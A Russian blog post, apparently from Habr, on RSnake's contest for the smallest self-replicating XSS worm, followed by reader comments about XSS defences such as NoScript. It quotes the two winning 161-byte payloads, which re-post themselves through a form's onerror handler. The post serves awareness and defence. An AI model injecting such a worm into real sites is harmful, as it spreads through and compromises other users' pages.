XSS-червь: кто меньше?

    Наткнулся на днях на новость о конкурсе, в котором предлагают создать минимальный JavaScript-код, который будет сам себя копировать дальше. Автор конкурса — Robert Hansen aka RSnake, достаточно крупный специалист по информационной безопасности.

    Условия



    По условиям конкурса от кода требовалось следующее:

    1. Должен быть в кодировке UTF-8 или ISO-8859-1.
    2. Должен копировать себя путем POST-запроса на страницу post.php того же самого домена, откуда запускается (никаких GET'ов). В качестве текстового параметра должен выступать content. Можно предположить, что post.php будет соответствующим образом unescape'ить ваш код.
    3. Не должен возрастать в размерах при распространении (если код начинает с n байтов, он не должен возрастать на следующем шаге до n+x). Т.е. мы предполагаем, что контент будет игнорироваться скриптом post.php, если он больше n байтов.
    4. Должен запускаться в написанном виде (мы можем добавить все остальные параметры для соответствующей инъекции позже)
    5. Не должен использовать Cookie или GET-параметры строки запроса (все строки кода будут пребывать только на самой странице в качестве активного XSS).
    6. Не должен предполагать какие-либо сведения о DOM-дереве, хотя вы можете использовать class или id, если они есть в самом коде червя. Нельзя использовать поиск n-ого скрипта на странице, потому что эта информация может меняться от сайта к сайту.
    7. Должен работать, по крайней мере, в Internet Explorer 7.0 и Firefox 2.x.
    8. Должен выдавать XSS как сообщение на странице (в качестве «полезной нагрузки»).
    9. Должен работать, по крайней мере, на серверах Apache 1.3+ и Apache 2+ (т.е. не использовать какие-то серверно-зависимые вещи, связанные с другими серверами) ввиду их доминирования на рынке.
    10. Должен работать без участия пользователя или при минимальном участие, которое происходит на каждой странице (например, mouseover в произвольном месте страницы).


    Проведение



    Конкурс начался 4 января и закончился 10. Автор получил несколько сотен вариантов, но только два из них были минимальными и работали при всех заявленных условиях:

    <form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+
    innerHTML.slice(action=(method='post')+'.php',155)))">


    и

    <form><INPUT name="content"><IMG src="" onerror="with(parentNode)submit(action=(method='post')+'.php',content.value=
    '<form>'+innerHTML.slice(alert('XSS'),155))">


    Длина червей: 161 байт. Как видно по коду, варианты очень сильно похожи, если не сказать, идентичны, практически, посимвольно. Полное заключение по конкурсу.

    Итоги



    На основе полученных результатов, RSnake опубликовал небольшую заметку, в которой пытается резюмировать, каким же образом можно защититься от таких червей (ведь минимальный код будет иметь какие-то общие сигнатуры, для того чтобы работать наиболее эффективно).

    Также автор опубликовал большую статью, посвященной проблеме XSS-червей в общем, в которой утверждает, что бороться с ними очень сложно, но можно. Статья несколько длинная, но очень интересная.

    Ссылки по теме





    Спасибо за внимание. Буду рад комментариям.

    Web Optimizator: проверка скорости загрузки сайтов

    Средняя зарплата в IT

    113 000 ₽/мес.
    Средняя зарплата по всем IT-специализациям на основании 5 444 анкет, за 2-ое пол. 2020 года Узнать свою зарплату
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 16

      0
      Очень полезно и интересно, спасибо.
      • НЛО прилетело и опубликовало эту надпись здесь
          –6
          киньте уже готовый вариант в архиве) чтоб какуюнибуть txt копировал)
            +2
            Изящно!
              +1
              лакончино, просто, грамотно.
              респект.
                0
                Вот ведь попал я! Не было мне никакого дела до этого XSS. Теперь меня заинтриговали, придется разбираться, что это такое. Спасибо за публикацию, будет мне гимнастика для ума :)
                  +1
                  XSS - достаточно уже известная и распространенная уязвимость, расшифровывающаяся как Cross Site Scripting. Суть метода в атаке не на сервер а сразу на клиента, за счет уязвимости сервера, путем подстановки "ядовитого" скрипта. Представляет из себя довольно не сложную, с точки зрения защиты от нее, уязвимость, однако, в случае ее обнаружения, может иметь достаточно серьезные последствия(в зависимости от конкретного случая).
                  На данный момент, пожалуй, вторая по популярности уязвимость серверных движков после примитивной SQL inj о которой уже не раз писалось.

                  PS: За пост спасибо - код интересен, заплюсовал бы при возможности.
                    0
                    И, кстати, защититься от нее(уязвимости) со стороны клиента можно банальным отключением обработки скриптов в браузере
                      0
                      Банальным ?:)
                      Добрая половина ресурсов окажется фактически неработоспособной при выключенных скриптах. Не говоря уже о том, чо большая часть пользователей не способна что-либо отключить:)
                      Этот способ подходит, скорее, для экстренных случаев. Когда знаешь куда идешь :)
                        0
                        Да это верно. Это из ряда спаси себя сам - помните пословицу "спасение утопающих..."?
                        Но тут скорее следует не отключать целенаправленно(когда знаешь куда идешь), а наоборот включать при посещении доверенных ресурсов. Но делать это вручную каждый раз как минимум утомительно, а потому в каждом браузере есть white/black листы посещаемых ресурсов. Например, в Firefox`e ведение таких листов и контроль за исполняемыми скриптами реализуется на уровне очень удобного плагина NoScript.
                          0
                          Угу, FF преуспел в плане маленьких полезных плюшек :)
                          носкрипт не использовал, теперь - планирую установить на свой лис, спасибо)
                            0
                            одна маленькая XSS-уязвимость легко и просто превращает белый и пушистый сайт в черный и страшный.
                            Вопрос к тем, кто отключает скрипты на страницах - а вам вообще не страшно, что ваш компьютер к сети подключен?
                              0
                              Нет, не страшно, и разговор шел не об этом. Разговор, именно, о нецелесообразности отключения в ожидании постоянной угрозы.
                              Но статистика говорит о том что есть люди шарящиеся без js, но это уже, имхо, паранойя.
                              А вообще, ситаации когда нужно отключить скрипты на лету у меня возникают. Не знаю как у вас.
                                0
                                У меня еще куки отключены. А если надо расставляю исключения.
                                FF (CookieSafe)
                    • НЛО прилетело и опубликовало эту надпись здесь
                        0
                        Интересно, как на скрипт реагирует Опера. В условиях конкурса о ней, как всегда, забыли =(

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое